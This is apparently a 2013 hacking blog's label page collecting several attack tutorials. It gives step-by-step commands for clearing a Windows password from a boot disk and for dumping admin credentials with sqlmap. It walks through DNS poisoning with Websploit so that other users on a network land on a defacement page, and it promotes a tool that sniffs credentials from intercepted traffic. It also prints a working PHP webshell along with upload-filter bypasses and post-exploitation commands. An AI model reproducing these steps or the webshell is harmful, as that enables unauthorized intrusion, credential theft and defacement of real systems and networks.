Advertisement

Showing posts with label Kali. Show all posts
Showing posts with label Kali. Show all posts

Thursday, July 18, 2013

Crack Windows Password Using Kali Linux

For cracking windows password using Backtrack or KALI you should have a Backtrack(Even Kali Will work) DVD or Bootable USB. In this Tutorial lets assume we are using the DVD. Insert DVD and boot from it. Now Backtrack have many offline password cracking tools pre-installed, we will use one of them.Continue using following steps:


Step 1: Openapplications>Bactrack>PrivilegeEscalation>PasswordHacks>Offline Attacks>chntpw


Step 2: Type fdisk -l Step 3 Type mkdir /mnt/apple


Step 4: Type mount -t ntfs-3g /dev/sda1 /mnt/apple


Step 5: Type ./chntpw -l /mnt/apple/WINDOWS/ system32/config/SAMStep 6: Type ./chntpw /mnt/apple/WINDOWS/ system32/config/SAM


Step 7: After you have the user edit menu select the appropriate step, here we have to clear password so type 1 and press enter step 8: Now it will ask for writing hive files so type y and press enter Now your windows pass word has been cleared. When the next time you will login it will not ask for password.Enjoy!!!

Wednesday, June 5, 2013

How to hack a website using SQL MAP ? SQL Map Tutorial .


How to Hack a website Using SQL MAP ?

Hello Hackers, This is Vinit with an Interesting Tutorial on SQLMAP. SQLMAP is an automated sql injection takover tool which is used to exploit websites with SQL injection Vulnerability. SQLMAP is already there in backtrack 5 and Kali Linux as Default. What SQLMAP does  is , it exploits the Ijection vulnerability in a website and show the attacker the Details and Critical Information about the website. hackers Look for the Admin username and Password from SQL Injection.

So lets start

What we need: 
1. Backtrack or Kali Linux with SQLMAP preinstalled
2. An Sql injection Vulnerable website 


First locate SQLMAP on hardisk



 Then Type Python sqlmap.py -u "target website url here" --dbs

Note: "-u" is For Target URL and "--dbs" is For Databse


Hit ENTER



 Here We Got two Databases with is show in the above figure

Now type python sqlmap.py -u "target website url here" -D "database to extract" --tables

Note: here -D is for selected database and --tables is for tables to extract





 Here we got tables from Databse we searched for

Now type Python sqlmap.py -u "target url" -D " selected Database" -T "selected Table" --columns
Note here -T is for selected table which is admin and --columns is for columns to extract.


Now type Python sqlmap.py -u "target url" -D " selected Database" -T "selected Table" -C "selected Column" --dump
Note here -C is for selected Column and --dump is for dumping all data in that column

Result of Python sqlmap.py -u "target url" -D " selected Database" -T "selected Table" -C user --dump


Result of Python sqlmap.py -u "target url" -D " selected Database" -T "selected Table" -C password --dump


thanks :)

Wednesday, May 8, 2013

Hacking for Fun. Websploit Series.

Ever tried to Prank your Friends with your extraordinary "HACK" skills huh. Well we all have tried this at some stage of our lifes just for fun. It even gets better when u have your own Network and your cousins or friends are connected to it. You are in a great mood to Prank the hell out of them. So lets Hack n Prank.

In this so called Prank Tutorial we are gonna use MFOD attack which is often called as the Middle Finger Of Doom attack. Well the Title itself sounds Cool and Funny Too.

What we need in order to Accomplish this.
1. Kali Linux or Backtrack|5 Distros(it will work on both)
2.Ensure Websploit is Installed.
3.Other users on the network(be sure u have some targets to have Fun with)
4.Brain

Technicality
We are gonna Create a Local DNS server and Poison it. As show in the Figure below

This will redirect all the requested quires to our DNS server, this will Ultimately Redirect them to our Malicious or prank Page.

Sounds Fun. So Lets Do it.

1. Start up the Linux(Kali or Backtrack)
2.Download Websploit from here

3.Extract the downloaded file by using command "tar -xvf  'file to extract'"



 4.Type command "./install"


5.then again "tar -xvf  websploit-2.0.3.tar.gz"


6.Now naviagte to the webslpoit folder which was extracted using the "cd" command

7.Now to run the tool type "./websploit"

8.type "help" for commands


9. To view the modules of the tools type "show modules"


10.now type command "use network/mfod" to use the attack.

11.then type "show options" for listing the available options for this Module.


12.Chose the interface.to check the interface type "ifconfig" in a new terminal.

13. To set the interface as asked in the module options type "set Interface eth0" which is default. 
       Note: If you are using Wireless interface, you should probably use "set Interface Wlan0".

14. After setting up the Interface, type "set REDHOST "your ip address".
      Note REDHOST is the DNS Server host which we are gonna create to Poison the Network.




15. Now the last step to the module. while setting the DOMAIN, u have to keep one thing in mind. While Setting the Domain as ".com" the DNS piosoning will only effect the domains with ".com" extension. You can also try ".org, .co.in, .uk" etc. Default Domain is ".com" , to change the Domain type " set DOMAIN .org" for example.

16. Now the Attack is almost set, before starting the attack one more thing has to be changed
      you need to navigate to the /root/var/www/ folder and edit the "index.html" file.


17.  Paste the script of your Defacement in "index.html" and Save it.
               

18. Now all our Preparation for the attack is done now lets launch it and start creating Pranks. now type "run" to start the attack.

17. A new window should appear just like this below.


18. Lets see wait for your Friends to get Shocked. When they type www.google.com or any domains with .com will be redirected to our Malicious Defacement page.



19. See all the request has been spoofed to our ip address which has hosted this Defacement page. Which indirectly displays our Defacement. The use will just imagine that the Whole internet has been hacked.

This Is quite Good Prank, best of luck, Have Fun hacking
Any quiries related this tutorial please comment or Contact us here.


Sunday, May 5, 2013

Yamas. MITM Attack at its Best.



Yamas is a tool that aims at facilitating MITM attacks by automating the whole process of Man in the middle attack, from setting up ip forwarding and modifying ip-tables, to the ARP cache poisoning (either using ettercap or arpspoof). The traffic is stripped off ssl with the famous sslstrip 0.9 tool. If any MITM script does that, Yamas has a unique and appreciated feature: it parses the logs as the attack keeps running, so that credentials are displayed just as they are sniffed.


Video Uplink
Thanks to Comax Team
Download the Script from Here

Saturday, May 4, 2013

How To Hack A Lot Of Websites In A Bulk - By Uploading a shell and Executing codes .


How To Hack A Lot Of Websites In A Bulk - By Uploading a shell and  Executing codes .




    
      Once access to the administration page is obtained, the next goal is to find a way to
execute commands on the operating system.
We can see that there is a file upload function allowing a user to upload a picture, we
can use this functionality to try to upload a PHP script. This PHP script once uploaded
on the server will give us a way to run PHP code and commands.
First we need to create a PHP script to run commands. Below is the source code of a
simple and minimal webshell:
<?php
system($_GET['cmd']);
?>
This script takes the content of the parameter cmd and executes it. It needs to be
saved as a file with the extension .php, for example: shell.php can be used as a
filename.
We can now use the upload functionality available at the page:
http://vulnerable/admin/new.php and try to upload this script.
   We can see that the script has not been uploaded correctly on the server. The
application prevent file with an extension .php to be uploaded. We can however try:
.php3 which will bypass a simple filter on .php
.php.test which will bypass a simple filter on .php and Apache will
still use .php since in this configuration it doesn't have an handler for
.test
Now, we need to find where the PHP script, managing the upload put the file on the
web server. We need to ensure that the file is directly available for web clients. We
can visit the web page of the newly uploaded image to see where the <img tag is
pointing to:
<div class="content">
<h2 class="title">Last picture: Test shell</h2>
<div class="inner" align="center">
<p>
<img src="admin/uploads/shell.php3" alt="Test shell" /> </p>
</div>
</div>
you can now access the page at the following address and start running commands
using the cmd parameter. For example, accessing
http://vulnerable/admin/uploads/shell.php3?cmd=uname will run the command uname on
the operating system and return the current kernel (Linux).
     Other commands can be used to retrieve more information:
cat /etc/passwd to get a full list of the system's users;
uname -a to get the version of the current kernel;
ls to get the content of the current directory;
...
The webshell has the same privileges as the web server running the PHP script, you
won't for example be able to retrieve the content of the file /etc/shadow since the
web server doesn't have access to this file (however you should still try in case an
administrator made a mistake and changed the permissions on this file).
Each command is run in a brand new context independently of the previous command,
you won't be able to get the contents of the /etc/ directory by running cd /etc and
ls, since the second command will be in a new context. To get the contents of the
directory /etc/, you will need to run ls /etc for example. .............
 ThanQ For Reading !

Website Defacement by exploiting File Inclusion Vulnerability.


In This Backtrack 5 Tutorial im gonna demonstrate how to exploit File Inclusion Vulnerability, and take control of the Target System.
Programs used:
1. Mutillidae
2. Fimap
3. Netcat
4. C99 shell

this Tutorial is Intended for educational purpose only. The Author is not responsible for any Criminal activity.
Happy Hacking

Video uplink



Subsrcribe and Comment :)



 
Design by Vinit Varghese | Bloggerized by Hemanth Joseph - Premium Blogger Themes | Online Project management